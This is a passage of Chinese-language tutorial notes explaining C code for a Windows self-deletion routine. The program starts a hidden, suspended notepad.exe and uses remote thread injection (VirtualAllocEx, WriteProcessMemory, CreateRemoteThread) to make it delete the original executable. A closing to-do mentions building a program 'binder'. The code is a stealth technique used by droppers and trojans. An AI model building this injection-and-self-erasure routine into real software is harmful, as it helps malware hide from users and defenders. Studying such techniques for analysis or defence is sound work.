ShellExecuteExA(&shellexecute);ShellExecuteExA 函数使用 shellexecute 结构体中的参数执行与指定文件关联的默认操作。
实现自删除// 3. 实现自删除
//下面是实现自删除,网上的自删除方法有很多,用的多的是批处理,这里是创建一个进程然后用远程线程注入来让notepad删除当前程序
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);
//创建进程
DeleteStruct DS;
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);
//创建远程线程不能直接使用API,需要把函数指针放在结构中传过去
//这里需要DeleteFileA这个函数,用GetProcAddress得到指针后传过去
LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);
//为函数开辟一块内存
LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);
DWORD RETSIZE;
//为参数开辟一块内存
HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);
//执行该线程
CloseHandle(Thread);
//关闭句柄使用 CreateProcessA 创建一个挂起的 notepad.exe 进程。初始化 DeleteStruct 结构体,设置 dwDeleteFile 为 DeleteFileA 函数的地址,并设置 dwDeleteFile_param_1 为当前可执行文件的路径。使用 VirtualAllocEx 和 WriteProcessMemory 在远程进程中分配内存并写入 threadProc 函数和参数。使用 CreateRemoteThread 在远程进程中创建线程,执行 threadProc 函数,该函数会删除当前可执行文件。创建新进程
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };STARTUPINFOA:指定新进程的主窗口的属性。PROCESS_INFORMATION:接收新进程和其主线程的标识符。CreateProcessA("c:\\windows\\system32\\notepad.exe", 0, 0, 0, TRUE, CREATE_NO_WINDOW | CREATE_SUSPENDED, 0, 0, &si, &pi);创建一个新的进程,此处是 notepad.exe, 参数 CREATE_SUSPENDED 表示新进程创建后处于挂起状态。
CreateProcessA 是用于创建一个新的进程和其主线程的函数。在这里,它被用来创建 notepad.exe 进程。
lpApplicationName: 指向一个以 null 结尾的字符串,指定可执行模块的名称
这里是 "c:\\windows\\system32\\notepad.exe" 表示要创建的进程是 Notepad
lpCommandLine: 指向一个以 null 结尾的字符串,作为命令行参数传递给新进程
这里为 0,表示没有额外的命令行参数
lpProcessAttributes: 指向 SECURITY_ATTRIBUTES 结构体,定义新进程的安全属性。
这里为 0,表示使用默认安全属性。
lpThreadAttributes: 指向 SECURITY_ATTRIBUTES 结构体,定义新进程的主线程的安全属性
这里为 0,表示使用默认安全属性。
bInheritHandles: 如果为 TRUE,则新进程将继承调用进程的句柄
句柄: 在操作系统中,句柄(Handle)是一个用于标识系统资源的抽象引用。句柄本质上是一个唯一的整数值,由操作系统生成并返回给应用程序,以便应用程序可以在后续操作中引用特定的资源。在 Windows 操作系统中,句柄用于标识各种系统资源,包括进程、线程、文件、窗口、内存等
句柄继承: 句柄继承是指一个进程(父进程)在创建另一个进程(子进程)时,允许子进程继承父进程的句柄。这意味着子进程可以访问和使用这些句柄,以便执行操作。
句柄继承在进程间通信和资源共享中非常有用。例如,父进程可以创建一个文件句柄,并允许子进程继承这个句柄,以便子进程能够读写同一个文件。
dwCreationFlags: 控制新进程的优先级和创建状态
这里使用了两个标志
CREATE_NO_WINDOW:不为新进程创建窗口。
CREATE_SUSPENDED:创建的进程将处于挂起状态,直到调用 ResumeThread 函数。
挂起状态: 进程处于挂起状态(Suspended State)是指进程已经创建但未开始执行。这意味着操作系统已经为进程分配了必要的资源,并且进程已经在系统中注册,但进程中的线程没有开始执行任何代码。
创建挂起状态的进程通常用于以下目的
配置初始化: 可以在进程启动前进行一些必要的初始化配置,如设置环境变量、注入代码或修改进程的内存。远程线程注入: 在挂起状态下,可以在进程内存空间中注入自定义代码或线程,然后恢复进程执行。同步操作: 在某些情况下,父进程需要在子进程启动前完成一些操作,因此需要子进程处于挂起状态。lpEnvironment: 指向新进程的环境块
这里为 0,表示使用调用进程的环境。
lpCurrentDirectory: 指向一个以 null 结尾的字符串,指定新进程的工作目录
这里为 0,表示使用调用进程的工作目录。
lpStartupInfo: 指向 STARTUPINFOA 结构体,该结构体指定新进程的主窗口的属性
si 是一个使用 {0} 初始化的 STARTUPINFOA 结构体。
si.cbSize:在调用 CreateProcessA 时,结构体的 cbSize 成员必须设置为结构体的大小。尽管这里未显式设置,CreateProcessA 内部会设置该值。虽然大部分成员为默认值,但 CreateProcessA 需要这个结构体来获取新进程的启动信息。lpProcessInformation: 指向 PROCESS_INFORMATION 结构体,该结构体接收新进程和其主线程的标识符。在这里,pi 是一个已经初始化的 PROCESS_INFORMATION 结构体。
pi 结构体用于接收新进程和其主线程的标识符,以及其他与进程相关的信息。CreateProcessA 成功返回后,pi 会包含新进程和线程的句柄和标识符。获取删除文件函数指针
DeleteStruct DS;
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);GetModuleHandleA("kernel32.dll"):获取 kernel32.dll 模块的句柄。GetProcAddress:获取 DeleteFileA 函数的地址,并存储在 DS.dwDeleteFile 中。GetModuleFileNameA: 获取当前进程的文件名并存储在 DS.dwDeleteFile_param_1 中。定义结构体用于存储删除文件所需的信息
DeleteStruct DS; // 用于存储删除文件所需的信息typedef struct DeleteStruct
{
FARPROC dwDeleteFile;
CHAR dwDeleteFile_param_1[MAX_PATH];
};获取函数地址
DS.dwDeleteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "DeleteFileA");DS.dwDeleteFile 将存储 DeleteFileA 函数的地址,以便后续调用。
GetModuleHandleA("kernel32.dll"):获取 kernel32.dll 模块的句柄。这是一个常用的系统 DLL,包含了许多常见的系统函数。该句柄代表 kernel32.dll 模块在当前进程地址空间中的基地址。
GetProcAddress:从指定的模块中获取指定函数的地址。这里指定的函数是 DeleteFileA,它是 kernel32.dll 中用于删除文件的函数。
DeleteFileA 是 Windows API 中的一个函数,用于删除指定的文件。它的原型如下:
BOOL WINAPI DeleteFileA(
_In_ LPCSTR lpFileName
);其中 lpFileName 参数是要删除的文件路径。
GetProcAddress 是一个 Windows API 函数,用于从指定的模块中获取一个函数的地址。
第一个参数是模块的句柄,这里传入的是 kernel32.dll 模块的句柄。
因为 DeleteFileA 函数是 kernel32.dll 模块中的一部分。为了从一个模块(DLL)中获取某个函数的地址,必须先获得该模块在当前进程中的基地址,这就是模块的句柄。
第二个参数是要获取地址的函数名,这里传入的是 "DeleteFileA",即我们要获取 DeleteFileA 函数的地址。
调用 GetProcAddress 返回一个指向 DeleteFileA 函数的指针。
获取当前模块的文件路径
GetModuleFileNameA(NULL, DS.dwDeleteFile_param_1, MAX_PATH);获取当前正在执行的可执行文件的完整路径,并将其存储在 DS.dwDeleteFile_param_1 字符数组中。
GetModuleFileNameA 是一个 Windows API 函数,其作用是获取指定模块的文件名。
hModule:模块的句柄
这里是 NULL,函数将返回当前进程的可执行文件的路径。
lpFilename:指向接收模块路径和文件名的缓冲区的指针。
nSize:缓冲区的大小,以字符为单位。
MAX_PATH 是一个常量,表示路径的最大长度。这个常量通常定义为 260 字符,以确保缓冲区足够大以容纳完整的路径名。
分配内存并写入远程进程
LPVOID ADDRESS = VirtualAllocEx(pi.hProcess, 0, 2048, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, ADDRESS, &threadProc, 2048, 0);VirtualAllocEx 为远程进程分配内存,大小为 2048 字节,权限为可执行、可读、可写。WriteProcessMemory 将 threadProc 函数的代码写入远程进程的分配内存中。
分配内存并写入参数
LPVOID pRemoteParam = VirtualAllocEx(pi.hProcess, 0, sizeof(DS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteParam, &DS, sizeof(DS), 0);为远程进程分配内存以存储 DeleteStruct 参数,并将 DS 写入该内存中。
创建远程线程
DWORD RETSIZE;
HANDLE Thread = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)ADDRESS, pRemoteParam, 0, &RETSIZE);
CloseHandle(Thread);CreateRemoteThread 在远程进程中创建线程,起始地址为 ADDRESS,参数为 pRemoteParam。使用 CloseHandle 关闭线程句柄。TODO捆绑程序 - Google Search整个 Go 或者 Rust 写的捆绑程序